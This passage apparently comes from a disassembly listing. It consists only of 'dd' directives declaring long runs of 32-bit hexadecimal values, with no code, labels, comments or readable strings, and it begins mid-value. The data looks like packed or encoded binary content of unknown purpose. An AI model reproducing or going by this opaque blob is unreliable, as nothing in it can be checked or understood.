5587FCEh, 0D626F70Fh, 422F4D46h, 277E7573h dd 952AE9D0h, 0DD958E50h, 0E09FB43Ch, 0BD1E687Fh, 0BF8FBCF9h dd 2B0107B6h, 12D46BF5h, 0D55BFF82h, 676425E4h, 81EEA606h dd 42DAF68Eh, 0D1005EE0h, 0BD039EAh, 581E840Fh, 3C004465h dd 5066390Eh, 153100B8h, 0D0F76D54h, 1405B30Dh, 22D45DDh dd 351982C0h, 0AE1516D3h, 6591148Eh, 0EC533912h, 7C3E133Fh dd 5C2DF5F9h, 0A702C6E2h, 45557A69h, 0FFDE3A39h, 2DE9116Ch dd 0BBD6F64Bh, 35EB64EFh, 62278CBBh, 9ED17197h, 6817A56h dd 6FE91F03h, 0F37FC22Fh, 1044328Dh, 0F013B9F9h, 0B02904F0h dd 80704AA7h, 3037B342h, 5B66DD1Dh, 5259EC00h, 7C0F5B2h dd 0CA8002E2h, 32F2330Ah, 92A997B7h, 0C07716EAh, 17E3280Eh dd 0CC1DAF68h, 0FE2E5254h, 0DF10DCC6h, 8396F48h, 93D80A31h dd 556774C2h, 0C35A69EEh, 98FB879Ch, 2226F392h, 1A1AFF4Ah dd 724D411Eh, 4E9FBB48h, 0D2AAB363h, 8686A2AFh, 6570114h dd 934F6AE1h, 0EB020C4Ch, 0F77F3E72h, 0FAC740D9h, 0C165DF48h dd 0C32F16F1h, 0DA45646Fh, 59058ABCh, 0C8AEF328h, 19401307h dd 6AFA0DB9h, 824E70A6h, 0EB1F3E5Eh, 6A934262h, 2C3075D0h dd 0E6BF544Ah, 0AA56B534h, 525F660Eh, 3547531Dh, 2CE526AFh dd 0EB0CDB0h, 0C3885336h, 0CB48DD49h, 2BBEE6E9h, 0F4665D0Bh dd 0B66C189Fh, 18CFBED2h, 0DDABB754h, 2BD82FC0h, 9EB25C3Fh dd 1B4BBAC3h, 30E13C92h, 0BEA00764h, 9C13A701h, 0E3D82DE0h dd 4A6F6697h, 0BD4BE5Bh, 0EA3394AAh, 0FBA36B09h, 0BD5580F5h dd 366A707Dh, 9BA8E913h, 161B64EFh, 8285FAE2h, 2C405E08h dd 28FF09E1h, 9D8A9DF1h, 0D093F53Bh, 0DFACA84Bh, 26A14938h dd 4FB024C4h, 0EBC2787h, 6C73980h, 0C903EF9Eh, 35D434C0h dd 435F044Fh, 503225F2h dd 905F5D38h, 0DC58129h, 65302EDBh, 0BD216F0Ch, 0B4017420h dd 0E4E2C1C3h, 0C49D4E1Dh, 8214993Dh, 15785E1Bh, 58080512h dd 5DADA4FEh, 730FAAB8h, 843A38B0h, 0EA139857h, 2410C701h dd 0EA5004D0h, 124DEDD1h, 9CB5E1E9h, 0C17A8357h, 7003FDE5h dd 0AF4E5547h, 3021AC89h, 4B2B20C1h, 18DA416Ch, 0C2C24E95h dd 5351910Dh, 20D9677Dh, 57764095h, 0B7FA4695h, 0BDFE889h dd 5844F524h, 35A5040h, 0D079F505h, 2D9A0120h, 8B8F078Fh dd 0E9188920h, 6DACB8A7h, 0F66B59BCh, 0E962793h, 4273F695h dd 0B25A3h, 294F43E3h, 0D8312F78h, 440BBAF8h, 7A5E5556h dd 590882CAh, 0B9146283h, 0D5989C46h, 3D80DA4Ah, 2D3EB3B8h dd 5F90C8Eh, 42A9388h, 5E1C4F09h, 30BDB6C9h, 69F2BFh, 0BE5675CBh dd 205C3E3Bh, 6E6C113h, 988162C3h, 25B08E1Dh, 40F129EBh dd 1C59920Eh, 0E24EDD27h, 0A609F04Ah, 6FD1575Eh, 95C8D3E7h dd 17559013h, 9C38820h, 8963C408h, 0EA3083D7h, 7F27F205h dd 26C5ABA0h, 4B90433Ch, 3BAED00h, 34E97E61h, 0BC799775h dd 7A6DF760h, 0C96983Ah, 65D442EEh, 6314FA0Ch, 5CD7B99h dd 2FC30F26h, 0C0825CBEh, 0C75B7703h, 716116E9h, 4BEE684Ch dd 58F2317Ch, 0E55DC982h, 62F38703h, 5295BA4Ch, 90BC83F9h dd 0B8C05B3Dh, 1BA11229h, 2C41D4B8h, 0AB30D0E5h, 87569B40h dd 20662205h, 53E80103h, 0BFE9520Ch, 0B5C2ED1Fh, 570C2D2Ch dd 24DF6012h, 81DA8409h, 18468F08h, 5801097Bh, 0A7B6E5FDh dd 400B4F51h, 275910Ah, 0AD4D233Fh, 500EF2F1h, 0E569EA8Ah dd 315D4E0Fh, 8FAAADEBh, 0AD5F166Eh, 44B893BDh, 0D60EA494h dd 0A853195Ch, 3BDC16A5h, 0EDC1FB02h, 0ABED8E02h, 6B4500Ah dd 1763B5CDh, 50B2A01h, 5F3E4004h, 0F72A850Ch, 9DA481Bh dd 106DF01Eh, 0EEE92549h, 7E5B7B61h, 17F7EF40h, 0BAD058B1h dd 0B6537605h, 40568BDFh, 57259A5Dh, 0C7EA3ADEh, 0B886BE2h dd 0DD5C8B77h, 585FAEEAh, 0E69F203Eh, 2E434097h, 239E0672h dd 1249E1D1h, 190BEFEAh, 0BCE89A6h, 0DFD42BACh, 0B027E99Ch dd 55311031h, 1CFF9D54h, 7E45BFD9h, 59426821h, 2070C053h dd 51232C18h, 40AA0B02h, 0A0E59677h, 2777E71Ch, 94E2440Fh dd 309440DDh, 53C70670h, 3A2BC4E9h, 44479EB7h, 0CE400933h dd 68F30B29h, 47516202h, 5439EAA7h, 0C82262CFh, 51E72D76h dd 5F0D75C3h, 7AC7E43Ch, 0FE5C26CBh, 69D32745h, 9B0A8262h dd 9E3CC1F3h, 78ED3F34h, 959B7908h, 23A2E168h, 20EF9CBDh dd 0F8BDDBFEh, 0E199326Ch, 0E584310Eh, 0F244BAF1h, 0F3986219h dd 4C2B76EEh, 0D202B560h, 216A8443h, 0A0A74577h, 0EA6E44AAh dd 8D30140Bh, 4D10217Dh, 0CF218B20h, 0A303847Bh, 0FD5C3B94h dd 2EFDFDF7h, 268A6A91h, 98C41D78h, 2731AA8Ch, 0D5C205F9h dd 4721E9DBh, 5BC34D89h, 6068866Bh, 1F312147h, 2A5E6F2Bh dd 0D384312Eh, 5E313A52h, 692B039Ah, 193D19D2h, 0EB8B60E5h dd 8C0FCAAh, 681FCDBBh, 413073Dh, 3CB8C6B0h, 429D06C5h dd 49177E09h, 0E423E4DFh, 65480A13h, 1743F2EAh, 52FC67BFh dd 0E3C2C496h, 57578B43h, 681C0A6Ch, 0DD251F36h, 0E9059147h dd 0A4B6B4h, 3FC82E6Dh, 1CE82D2Ah, 2E18F8EBh, 5C0C4984h dd 6EFC2004h, 27DA7B39h, 0BC44CBBAh, 7E55B382h, 0D1124Dh dd 0FBF9F6D0h, 900964Ah, 0BF575EF1h, 3F195223h, 414C2966h dd 0C936FE17h, 44D27B59h, 2240405Bh, 657C0F15h, 8AC9F129h dd 0F5BC7A63h, 68C2E8C7h, 0EE0966B7h, 0BD0D4E14h, 0F5BFA43Dh dd 0CD9B6CB3h, 0FA2A1560h, 8CAB0C52h, 1A503173h, 1B4BC1C5h dd 0F601D489h, 5C2A9C62h, 0AA8492F6h, 0B45BD2F3h, 101388FDh dd 8CBB2132h, 80954D65h, 0B652AC6Ah, 0E6C03EE4h, 98EE301Ch dd 0D5F608F5h, 807D8678h, 48F0C773h, 5D0CE912h, 0F58B305Dh dd 0E90174C9h, 82ACC655h, 0A4C5F794h, 0BBA354C7h, 2D142521h dd 2BEB237Ah, 0A1BF2DD6h, 0ED7EDA8Fh, 0BCBFF489h, 18E98231h dd 0C1F3908Fh, 0CC1C177Ah, 3543E09Bh, 94438A09h, 0AADA71DEh dd 414709BBh, 0B4DC3001h, 0D2088C9h, 8B96E905h, 1C9652AEh dd 66C965E0h, 30A26E2Dh, 0EC08425h, 4C0048B9h, 0D1F76D7Ch dd 0A001C183h, 0E002A6F8h, 4A297B90h, 755E448Bh, 0CA80057Bh dd 4DB893C1h, 2C3232Eh, 2F1C6DC9h, 4A398340h, 4812FB7h dd 92690FCAh, 78E5B80Ch, 0AB601826h, 0F2C04A1Fh, 0EE45E0D3h dd 6CCE0BBEh, 20D783C2h, 3DCAC628h, 0E9790BBAh, 88C87820h dd 0EA1D0EA8h, 0FDA4011Dh, 96910820h, 20DFAFh, 547DFE24h dd 0F5F00127h, 0FEE385B1h, 0C37F04CAh, 2AE61273h, 6B16C95Dh dd 0C96F25Eh, 0A8BE4334h, 1F8C861Eh, 485BB744h, 0DBFB536Fh dd 0C6255Ah, 0D168572Fh, 0A318B751h, 5F820E98h, 3FCE9100h dd 87F86E80h, 0D549E295h, 0ABB58C96h, 0E9DA8395h, 52A52D3Ah dd 534A09C0h, 0C29D5B7Bh, 7707096Ch, 0AB973543h, 26F6ADABh dd 7976D28h, 830C02Dh, 1E50DAF6h, 0D9808EB0h, 0D8D206C3h dd 2873CAC2h, 798BE913h, 6816D2B2h, 0BFCB849Eh, 0E90920CEh dd 92578D72h, 755560A4h, 49D59958h, 9E43DAD1h, 0F9EA8433h dd 0DDD2C9F6h, 48A5FCD1h, 0C452A7D2h, 0BCDAF730h, 0CBED4B42h dd 4CCFCA02h, 0DAC06353h, 2C70B015h, 43C47E97h, 58AA685Ch dd 5DD610E6h, 69108C08h, 0BC971D04h, 8FBF3E0Eh, 453C0B0Ah dd 0B5FAA0AFh, 1EBDE039h, 31022CB1h, 7D9F4338h, 14BB270h dd 8EEA4A12h, 1289913Dh, 0CFFC46ACh, 4E407CCBh, 7F624A68h dd 96E040Bh, 150CA186h, 0C62DBD09h, 914AA065h, 0EC11E761h dd 0ADAB13F1h, 253CAC75h, 0C36EB329h, 6A41E1EAh, 0DD89412Bh dd 0D874C126h, 731C89F5h, 0D59205F7h, 50F4AD05h, 3D7B31FAh dd 36613E38h, 58670E6Fh, 0A4007D4Ch, 811EB37Ch, 391390E6h dd 42EC1F35h, 0CE0BE04Bh, 3129220Bh, 2F328116h, 0F02B5855h dd 1814AF99h, 0AB26D44h, 9F3C398Eh, 4926F301h, 0A82EF8A4h dd 5EEE1F69h, 0F74640C9h, 7B5758A9h, 0E139E471h, 37B96BA7h dd 0CA6BABF2h, 0B9F1C784h, 2CD87103h, 862EE2A7h, 10529AF7h dd 80E390E4h, 1B12C9BBh, 0B5EE799Ch, 616A37CAh, 30428F30h dd 6852A350h, 8C565BB3h, 144494B6h, 4173B8EFh, 0A89C8C85h dd 50310D37h, 0D32CA0C3h, 4B36FEC1h, 0C4B90458h, 0BE1CDE3Ah dd 0FB0196C1h, 0AE2F0F6Ah, 0BD066480h, 0F2174C22h, 6EE3109h dd 0FBFEF3DEh, 0E15BF838h, 789F68F8h, 0B3CB1178h, 41BAC255h dd 0A8E81F2Bh, 5515AE9h, 0FFF9F771h, 0E13CE0DDh, 9C6855C0h dd 154C5626h, 0E4F50268h, 407CEF6Ah, 2C7D4E48h, 2932C50h dd 9609C9C2h, 425CC2F7h, 0FEAF5AA7h, 0ACBE9CEAh, 0BF041525h dd 0BC254A3Bh, 0ABC18807h, 4CA7B70Fh, 0E240077Ah, 67578E1Ah dd 0E962FC2h, 0E046B00Bh, 49F4846Dh, 0B77E5AB4h, 62F6390Bh dd 0DEC4C167h, 0EF6212BBh, 0E6DFE7B6h, 9D884EA2h, 0F55B680Bh dd 524C91C4h, 0BE3D1949h, 0F154151Fh, 7DFBEB13h, 232C6EA4h dd 4A276935h, 0E916CD1Eh, 18A65E83h, 570B0758h, 9D8CEE32h dd 53B7568Ch, 9B1C3D19h, 0B0FF2D6Dh, 0B681EAECh, 25A4808Dh dd 0E8C1732Bh, 0F44A3FB8h, 0C6B93700h, 9014326Fh, 3995165Fh dd 0B5620694h, 0F35AD13Ch, 0EA5813EAh, 5AAF97CCh, 0F6F0D01Bh dd 0D2C53E1h, 2CBA433h, 604E0823h, 2C28F411h, 256F97C5h dd 6668D001h, 52FA4C2Bh, 4E4149FCh, 44D46D68h, 9777E404h dd 0E584C115h dd 0C8C46939h, 854817E8h, 812EEAB4h, 6FB7E90Bh, 25F7B42Bh dd 0E1E95D85h, 0F5CDE9F0h, 5977A09Fh, 9851293Dh, 8DD895D2h dd 6D4BE50Bh, 9C4402B7h, 4FAED66Fh, 55F4704h, 56C1EE80h dd 0CC7A39C8h, 789DB188h, 8A594B87h, 4C247FBCh, 0F58842ABh dd 16506A70h, 68E57053h, 18971F43h, 4B6DE965h, 0D399AA2Ch dd 7F32EF2Fh, 46ACD591h, 2712929Eh, 0A000265Ch, 873E19CFh dd 560CC11Dh, 6013DE6Dh, 0C70210A5h, 0DE937C3h, 2ECA272h dd 6A50191Bh, 0A69E65F8h, 18C02CE3h, 0E16CF69h, 0F4BF17A8h dd 9362023Dh, 0E7F03FE9h, 52550EB1h, 0D04BCA88h, 0B2E6CB04h dd 68530B55h, 46855B8Ah, 0D004805Bh, 410AFC15h, 66071BC1h dd 17F7F62Eh, 1A3074C3h, 2D3234BFh, 0E8E1577Ch, 40A56047h dd 29910A09h, 91255F01h, 55820102h, 300BC233h, 36138D04h dd 0F0126A9Ah, 2F080610h, 6B0B715Fh, 31FB0519h, 0FFA11488h dd 925BCCDFh, 6B56DE2Bh, 55515A29h, 97F25560h, 0E9C2DF5Bh dd 95A07074h, 12C93D72h, 0FD98571Fh, 4082F382h, 263E6A29h dd 88B80C29h, 7A2C545Eh, 2027A702h, 26BC8075h, 9659BF21h dd 6D2D01D0h, 0B4697214h, 8022010h, 0FA7CCBE9h, 3D23EC1Ch dd 86A564BCh, 879EB77Eh, 8D9F7CDh, 0B96EFAF0h, 6B71E819h dd 0BE5F6AA2h, 526EF657h, 6CA6D5D3h, 109F3C80h, 9049D1F7h dd 62176F56h, 0AB0DD800h, 437CC445h, 0C301194Fh, 873C8859h dd 684D286Fh, 4E4EE238h, 3A302DEFh, 411863A0h, 0B0CB2E52h dd 0BBB55100h, 0C580D5F6h, 0ED712173h, 55D06C8h, 0C0E82853h dd 362C078Bh, 806598A1h, 0DE90BB5Dh, 6189A22Eh, 4AE997D8h dd 59845893h, 0F3AE7796h, 27134BB9h, 43B638BBh, 0CEEC4A41h dd 0A158131Ch, 0BAF00030h, 2D7FFD5Dh, 55321E01h, 5F02967h dd 555E0742h, 64529DFEh, 49A702EEh, 0DA312F99h, 0C14B8BD1h dd 7E965189h, 8B37F2F8h, 9FCE7845h, 0F4D31C55h, 67C49536h dd 86685003h, 0F2798A7Ah, 2EE45ECFh, 7C52D155h, 2F0502D8h dd 43708E29h, 4F66075Eh, 436ECC27h, 0EABCD7F7h, 0B4854EDh dd 0E0A2F803h, 0FAAD298Eh, 0FBFA4A4h, 46836679h, 0D24B7744h dd 0BC56F382h, 5F5CD7C2h, 12B0C2E7h, 4B3CD4B8h, 494A83Bh dd 433F6806h, 80260EFh, 6148AF1Dh, 9A046B9Ah, 25877E79h dd 0E10E28D3h, 425C82A4h, 0D0984250h, 0A7BA046Ch, 0BE71547Eh dd 921E29A9h, 0E9F94320h, 27041623h, 5FAF7A65h, 0DC89FF13h dd 0E43E5F61h, 444F8128h, 0BBD23BBCh, 0C5FE16C5h, 7B7CB757h dd 0F40B5Fh, 7051B7EDh, 2682AE08h, 0FA6512B1h, 12EBCA40h dd 9F55074Dh, 0DBFDED42h, 246AE954h, 77276C56h, 5C16134Eh dd 0CCEAEA68h, 0B13877CCh, 0CEEFCBFFh, 1EE90EC0h, 8AAB1644h dd 0EEB3D376h, 0B62CAED6h, 0E6F04A21h, 31475A5Ah, 908B41E9h dd 0E87ECA49h, 49BBF60Fh, 824A7B78h, 6C747253h, 0C1805807h dd 7DC964DEh, 0BFFF81EAh, 0B2D4E7C0h, 954B7A12h, 84BC7B16h dd 6D0EF260h, 0FEFD2F33h, 0CE9550D8h, 13244E88h, 52522272h dd 761657E1h, 23E1273h, 4001C592h, 2C45F995h, 42B50D8h dd 0C1746FB2h, 9B5B7EFDh, 0CB68D995h, 37ABF111h, 0BBAD903Fh dd 25B0472h, 0E917A9A9h, 5CE43F2h, 269A2EBDh, 0B9F4F06Ch dd 6F3B6019h, 82C4E4Ch, 5FF7C2A7h, 776B8B54h, 97FEDBC4h dd 2D609F60h, 5E3E9675h, 1754ECE3h, 1F60519Eh, 60693695h dd 7ABDE31h, 0E9181841h, 0BA2622A6h, 942B172Eh, 0EC60EF13h dd 26157EF2h, 0B766447h, 0EEFDEE80h, 75715D03h, 2B89B15Eh dd 1101BF8h, 5B5D1D6Ch, 0EF0102A5h, 3BFD2C4Ch, 2B0D187Bh dd 0C76730E9h, 6456BC2Bh, 0BE0076C2h, 11372025h, 44E5BF05h dd 0A7AC75EDh, 2681B04Eh, 3B6D6113h, 59BC9201h, 188050DDh dd 0B0945FA7h, 0D695FD01h, 3BE7C01Fh, 0DAA07F8Bh, 0FB256321h dd 4C77E6Ch, 983C0B68h, 6741D50Fh, 27100647h, 100506FFh dd 2D401ACCh, 0DE02DFC1h, 0A355E148h, 831C9067h, 7CD4D903h dd 5F3F8C3Bh, 4A7B4198h, 0B27DAB28h, 0B1220101h, 35CAE90Ch dd 7884E92Eh, 0BB87E45Bh, 8AA2C305h, 0E5C1BF4Eh, 5217288Ah dd 9AFFC268h, 6A9941FBh, 2946056Fh, 0B8C485D8h, 0CEC15BB5h dd 0CBD613D5h, 0DAF7C964h, 1F79BC2Ah, 0C16DCC6Ch, 0D32F64CEh dd 5BB8EEBAh, 0D8B57942h, 36FA05FFh, 8F1892Eh, 0BA01C0DFh dd 74C951C3h, 0E5A2320h, 0D1527137h, 70891FD6h, 0B1D0EB4Bh dd 301AF2Eh, 9476BC2h, 7BE52B0Eh, 0DC449192h, 0C127Fh dd 5BAD3C20h, 0A7FF6595h, 0D7937C74h, 27D89885h, 0B8C9852h dd 17983565h, 144BEC7Dh, 0F40F81E9h, 0C23459Dh, 366825Bh dd 3047ADC0h, 0F23CDC2Dh, 12E2E67Dh, 0FE0DDA62h, 41FEDE5Ch dd 0B0FC01F0h, 7B3C66A7h, 942DD429h, 0C2AC567h, 5A16F1AAh dd 59D58927h, 22086B08h, 54EF0BA1h, 300F13D2h, 72754E76h dd 0E763DD16h, 4A79D2E8h, 0DB02DF9Dh, 46E685EEh, 5089FBFEh dd 8A596F9Eh, 95B8663Fh, 0E489EB4h, 0B57B9A3Dh, 2D42D1D9h dd 0F5458921h, 4EDA59C3h, 471236FEh, 4DDE4EC0h, 31EC20ACh dd 7694B5A0h, 12F140Ah, 371EAAF9h, 805A4F09h, 0DA0F5D1Ch dd 0E9451635h, 2857A0CBh, 85C0D359h, 0E581EBC0h, 0A5880638h dd 0BD162BE1h, 0C60C5FBh, 0D315F3B8h, 2B8C3803h, 2FD7F581h dd 8902890Dh, 0BA01536Dh, 3FF7DEDh, 484EF2A2h, 708F4A34h dd 0A29E4E2h, 0CA046F7Dh, 19DD506Ah, 71E66D80h, 0E91D09DFh dd 7D20235Ah, 556D5631h, 36BF2CC1h, 0C80686Bh, 5D16690h dd 0B74D10E9h, 5C432568h, 2E680411h, 7DC45369h, 0FF2FC50Bh dd 56E6CFC4h, 61094676h, 65EF189h, 7922912Bh, 0ECD34A53h dd 0C05A2842h, 0B87F2F41h, 0E64D705Ah, 5768C21Ah, 9D98553Dh dd 0CC00FEDAh, 86DDB353h, 0D7D0F6C3h, 52D2EF08h, 22740E1Ch dd 51DBF600h, 0CB3075B1h, 8001D8BBh, 0DC08F2F3h, 42EF8470h dd 0BA290467h, 6FE74B4h, 0B0D6097Eh, 771D8A25h, 0FD861C32h dd 68047A25h, 55532348h, 443030E8h, 5BB0050Fh, 42361C25h dd 5D070482h, 0D10044BEh, 276CF945h, 27404469h, 5BF18BF1h dd 0FFF01BE2h, 7CC0EB1Ch, 234C14EEh, 51F57E01h, 627B08C5h dd 0E557ED37h, 229BA438h, 35B907BAh, 0A378CE41h, 0BF842ADAh dd 2B1473E2h, 0B7105B3Ch, 4192507Bh, 39391C26h, 4E6B5582h dd 24E2C059h, 0A75261Ah, 0AAF82D2Ch, 7A9524Ah, 0B0A389DFh dd 0F589A0DCh, 0E9477415h, 4C9A6DBh, 0FA1B354Fh, 742ACCB9h dd 0C5FF30A6h, 3A06BE32h, 6529CE99h, 0C0542C20h, 80E4B575h dd 203EDFF5h, 521C8EAh, 5385E9E3h, 4498CAEFh, 68FC509Dh dd 0A30CC603h, 5515B14h, 6674F010h, 0F3C0C10Fh, 5954E86Ah dd 589FC9BAh, 84681676h, 3DE38D29h, 0EA83C5BEh, 758CF6BAh dd 0B1F903BDh, 0E78185BFh, 0D832D16Dh, 3117DC4h, 2D5A5559h dd 9F92D8FCh, 0C80046FDh, 5E0AE6FEh, 7602CC51h, 8030891Eh dd 690750C1h, 8C61BD73h, 5D02E29Dh, 2B6EFD29h, 25FE682Fh dd 0B2AB2C00h, 3CE2B5BBh, 1D81A52Fh, 544F9268h, 0A76FF823h dd 60E9C3C0h, 0F2F7C04Ch, 5FDC0141h, 0A83BC0B5h, 64DF1C4Eh dd 10E6B305h, 0A05A3EA8h, 0E9401509h, 97A9580Eh, 20F61475h dd 69A210E2h, 8A0B4BFFh, 17B847FAh, 2252FBEAh, 85D196C1h dd 4D8D6800h, 0FC141627h, 0F891A29h, 32502B49h, 51E04E88h dd 0BF11F9EEh, 0F55F02A3h, 7580B0C8h, 39554E3Ch, 2158E1C8h dd 0C12A574Ch, 3F20C419h dd 0DC02DCC9h, 5370F7E1h, 0F818A226h, 7841C082h, 6FE246h dd 8302C38Fh, 0F8095B4Dh, 7F20057h, 0E91BDB68h, 7819E0Ch dd 32EAEC80h, 0CF6352EEh, 0C8768BEAh, 81C6D26h, 0B29EE3DBh dd 1705FD50h, 2C80B154h, 445CCB38h, 1CD99D0Eh, 743BDC62h dd 0C774D28Ah, 77E526E2h, 5437C7A2h, 923C945Fh, 0FD2926CCh dd 80DFADA5h, 3125071Bh, 4421468h, 99009448h, 0E971EA13h dd 0C3822678h, 0C17ABA65h, 0C87374Dh, 699331AFh, 932CBC74h dd 2C1A7B0Dh, 0F63B826Ah, 0BABDA878h, 0EBA5F768h, 0AC4BEB0Fh dd 0B66902F0h, 0C468FC6Bh, 3EADEB53h, 91C10A84h, 25488E21h dd 6F20E90Bh, 0B84B6FCFh, 0BA52C2D3h, 656360E3h, 44F502B9h dd 0D129D5C2h, 0A04C12FFh, 523005D4h, 28107F40h, 97072DD8h dd 86BF84C5h, 6C585CBCh, 0DFB2C22Ch, 30E08B0Bh, 570963F3h dd 0D60175D3h, 3101EA9Fh, 2C05F0D9h, 99022E3Ch, 74ABFD12h dd 0B2C6BB76h, 0FCE924D5h, 6E57985Dh, 0AD1E73C9h, 3CC1BF7Ch dd 0DF313F47h, 0BFA57468h, 4FD64890h, 0F2434FEAh, 0B5C220EFh dd 0CF05BA1Ah, 0AA1BD554h, 3516CBD6h, 0AB2C5FD8h, 0B5072745h dd 1695E2FFh, 0EF889750h, 7003955Ah, 4C0B0BF1h, 5A5D5059h dd 14D65EA8h, 0B54E378Ah, 62FAEF8Fh, 885AD1FFh, 7D2886B5h dd 0B263CF0Bh, 1AA2546Fh, 0C45C1BE8h, 8FBB0A34h, 27031C89h dd 19BAF72Fh, 421CAC0h, 0A63F9028h, 2901C895h, 417DBADEh dd 876043DFh, 81CCB2C1h, 2D70C78Dh, 21EC47E8h, 1E51B767h dd 3AA2F1AFh, 4E9CBECEh, 81ADC042h, 703E99F1h, 0E1E9F05Fh dd 10E4728h, 0C10BF9EBh, 0A0FB2943h, 5F6708FCh, 0ECE4F01Eh dd 0FC6ABEA1h, 81FB4BC3h, 253A2D07h, 0BFF32EBCh, 0F4D5B7Ch dd 568E5855h, 964E5E62h, 0BA22DB42h, 0CC8488B2h, 23BB0017h dd 181EBF25h, 7606EBC1h, 67305F24h, 7389905Dh, 31CB287Eh dd 1565F96h, 6C17368Ch, 2C062013h, 10495582h, 7F4CC73Ch dd 53F0AFEh, 320B9F21h, 97924E2Dh, 0A3A3E671h, 422C381Fh dd 1048960Bh, 2714F86Dh, 9D587087h, 4225FCB7h, 0A7905866h dd 180BBBC9h, 72D909C0h, 23A82CDEh, 3D8A6873h, 0F832DD16h dd 44ACE45Dh, 0B47B84Fh, 90463DE9h, 3D3C9DBBh, 0B4FA7504h dd 6176256Bh, 37546861h, 91AA8C6Ah, 0B0B24B40h, 0D1BFA311h dd 1A293539h, 679AC410h, 0EA351D1Ch, 0F2FA64C5h, 2F68829Ah dd 62497623h, 145F4FF7h, 74A3A2C0h, 0EAB302FFh, 49D7D3F6h dd 0CBCC83B1h, 0FD0CD719h, 27E93E5Eh, 5020FC23h, 4E5C9068h dd 2A59D43Ch, 4976C5E3h, 0CC090F0h, 268C80Fh, 357BA474h dd 0AA1EBBCEh, 0C601F412h, 47886794h, 63A5AD40h, 0F8175E2Bh dd 1C302612h, 4C4CE3Fh, 888BF303h, 0D101C114h, 5CC4EF05h dd 0F242ADAEh, 1F52ABCh, 67CA23B4h, 0E0812B09h, 0FB2BC795h dd 0D8FEAA64h, 7E97B71Fh, 6F6372C1h, 0C4A2EC95h, 89023B55h dd 0F1D55AD7h, 0DB7609C5h, 87C25C76h, 0E9A49822h, 0B22158F8h dd 0DD35ED80h, 41B782DAh, 0BE3A019Fh, 595FFE21h, 2DA18B7Fh dd 0B6A0C0C7h, 50D1EE09h, 0BCF7BAAh, 31D379D7h, 670837D1h dd 423C2461h, 0A0F52E7h, 971768C7h, 77B4D7E0h, 138F5F86h dd 0FFE55354h, 6CF97C6Dh, 852CEC3Fh, 4FF1C3E9h, 553806Bh dd 0A44B6777h, 52F91E1h, 3778D87Bh, 0EAC8D4B4h, 8981E0BDh dd 628168C3h, 908B1BFAh, 5D6F2CB3h, 3AEB01CBh, 0A77CF254h dd 17B6F7EBh, 50DDBD0Bh, 37007D8Fh, 8BE527EDh, 2F21C72Ch dd 59FA908h, 856DB353h, 23C1EF81h, 56535D88h, 7030CA40h dd 0EEBF2DE3h, 6F89DFE1h, 2B681598h, 8F92880h, 0D01DE707h dd 0CD4B78BFh, 0D9E25504h, 0B28B1713h, 1F21C4Ch, 1F19FD27h dd 21D83152h, 37B7200Fh, 67E5474Fh, 8554916Ah, 40E36ADDh dd 0C50AEDC4h, 36F60BD1h, 68161877h, 166E551Bh, 0B485877Dh dd 85A9E817h, 25AC1EBEh, 3DB78FCDh, 705E252Fh, 0B7F6B56Dh dd 5761BAC2h, 6EED645Eh, 26B93320h, 1644F569h, 0C5882076h dd 2D0B7D1Dh, 0A1DDF717h, 0BE78AE6h, 0AC849B41h, 0E47C2D00h dd 7462562Dh, 0C1712F16h, 0F0310E31h, 0E820343Eh, 0ADAC4EE5h dd 236859E0h, 0E63C46BFh, 308997E9h, 620512FDh, 0C246F4A3h dd 81003BC7h, 2D5F63E2h, 74D439A6h, 4C349CB9h, 0E896FD2Dh dd 7F3341C5h, 12DDB7F4h, 3105BB26h, 422D5872h, 0D7435F0Bh dd 0C2172ACEh, 18A8302Ah, 0E6673B01h, 7FCBE94Fh, 0D5080507h dd 10D96A77h, 0B4F582Dh, 0D6F71C24h, 44BDC750h, 0D5EAB7AFh dd 0C012EA77h, 0B2346229h, 7CB42525h, 801665F8h, 80EE01EFh dd 30B3C747h, 55E990C9h, 4D8AEE8h, 9C66A924h, 3AAD6308h dd 0D109C192h, 2F193A54h, 93F39661h, 3F2F4A06h, 42C53Ah dd 0AE6B0BCDh, 0D512F734h, 0DF07E5D1h, 0EE52948h, 421A7781h dd 5F5ECC06h, 2CA835F8h, 487AF283h, 82554C73h, 405B17C1h dd 33103EB1h, 0DE605A7Eh, 84CB11Dh, 606BF2CAh, 7CF1A72Ah dd 15EFD0Eh, 6B41B4B8h, 954BC6Ah, 0A30D8F1h, 0B07DF22h dd 0CAB5C2FEh, 5DF4D009h, 77F5ABA7h, 0C7EFFC0Ah, 0DF754201h dd 0F8215B51h, 0CB5CFC2Fh, 53EC2764h, 753DAB62h, 2F306CD2h dd 75EF431Bh, 0FD2A032Eh, 411E2805h, 8539C28Dh, 270F3544h dd 66B0E6CEh, 0ED37476Dh, 2549AC6Bh, 686F605Bh, 0B22A5FB1h dd 5F939AC5h, 0A16B9771h, 1E98E9C8h, 0A46C317Fh, 0F6810099h dd 44471343h, 8112FE20h, 0F41964BBh, 434155BEh, 5A272D3Dh dd 0EAC050F4h, 3B306AF4h, 50780152h, 0BD5D08C2h, 2C3838B1h dd 0A2BA0207h, 7D6AEF55h, 95AC2574h, 0E8507220h, 509378C4h dd 5053FB31h, 97C3B7C8h, 0D02481DFh, 42DA5B5Ah, 0FE8AA381h dd 5EFA8CFh, 0DF9C9066h, 9D483BE0h, 881CF704h, 8BE7BDFDh dd 0EF6F1154h, 3B47F12Ah, 47671B6h, 0FE556CC1h, 0A913BF31h dd 0AD5852C3h, 5B15CAEBh, 0EB4457ABh, 51086700h, 2422C8B9h dd 12922694h, 9CF2AF19h, 0FAAF8BDFh, 1AF5985Fh, 1E3B973Ah dd 3EB7FAD9h, 5C2581A2h, 0D0084351h, 0F8092D07h, 5D01E25Fh dd 0DD200F6Ch, 8F094848h, 0A5ABD22Ch, 0C9E265FFh, 0DBCE63A0h dd 8490FDA1h, 2AE8405Bh, 547B72B6h, 5C2D574Ch, 40E25FBCh dd 0F3E92999h, 722DB92Dh, 946BEB81h, 98BA8Eh, 5BDA40C1h dd 0FE2C14BDh, 41C24EA8h, 5374C5Ah, 0E5297079h, 0E02E8781h dd 97B2E846h, 592D660Fh, 5445D6Ch, 0F8EE09D2h, 468D3F86h dd 7AE13F7Fh, 0A49EE4DCh, 94DFAD14h, 0CD0E6BC7h, 81124054h dd 6B501602h, 25AAFEF1h, 0E9417FDEh, 0CD2AD27Ah, 0F06AE063h dd 3EE53251h, 0BDB6A307h, 0D74C5E0Fh, 7C1DDEDh, 334D27ADh dd 0A81F6F01h, 0E6309F08h, 33C13E97h, 8E2A14C9h, 0F9F9A53Ah dd 677DC641h, 45DD2769h, 0E1F0BFE3h, 